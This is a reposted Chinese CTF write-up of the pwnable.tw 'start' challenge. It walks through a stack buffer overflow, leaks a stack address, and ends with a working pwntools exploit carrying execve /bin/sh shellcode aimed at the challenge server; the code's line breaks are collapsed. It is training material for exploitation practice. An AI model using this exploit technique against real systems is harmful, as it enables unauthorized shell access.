pwnable.tw---start
生活随笔
收集整理的這篇文章主要介紹了
pwnable.tw---start
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
Pwnable.tw—start
最近比賽玩了好幾天的pwn,發現老是差點火候,開始正式刷刷Pwnable.tw看看。
題目分析:
checksec :
第一次遇到什么防護都不開的程序,興奮。
IDA:
題目只有start和exit。
檢測棧有點問題,不能夠F5,強行看匯編。。。
匯編代碼直接采用了系統調用,
具體的翻譯可以看這個:
Linux Sysycall Reference
把這個匯編翻譯成C:
(并不是很想用軟件畫QAQ)
下面是翻譯的代碼:
思路分析:
1.沒有保護,在buf開始寫入shellcode,直接棧溢出,跳到buf的位置,然后執行即可。
但是buf只有20位,shellcode有21-44位,行不通。Pass!
2.既然堆不夠那就看棧,先跳到buf的首地址08048087,跳到利用write函數leak出&buf的棧地址,然后再利用read在棧的溢出位置&buf+20的位置寫入shellcode,從而二次溢出時跳到棧的位置+20即shellcode的棧位置從而執行棧上的shellcode。
執行測試:
先leak出buf的地址。
代碼:
結果如下:
程序到這里有會有read。
所以再后面來一次棧溢出,執行shellcode。
由于用pwn的shellcraft.sh的位數多于60位,所以要換一個shellcode。
exp:
#coding:utf-8 from pwn import *file_name="./start" context(log_level = 'debug', arch = 'i386', os = 'linux') #p=process(file_name)#本地 p=remote('chall.pwnable.tw',10000)#遠程 #shellcode=asm(shellcraft.sh()) shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'buf_ar=0x8048087def leak():p.recv(100)payload='A'*20+p32(buf_ar)p.send(payload)k=p.recv(4)return u32(k) def get_pwn(addr):payload='A'*20+p32(addr+20)+shellcode#print "payload len is :",len(payload)p.send(payload)p.interactive() buf_sta=leak() print "buf's stack address is:",buf_sta get_pwn(buf_sta)總結
以上是生活随笔為你收集整理的pwnable.tw---start的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何成为快速计算机高手,超级实用的4个电
- 下一篇: photoshop破解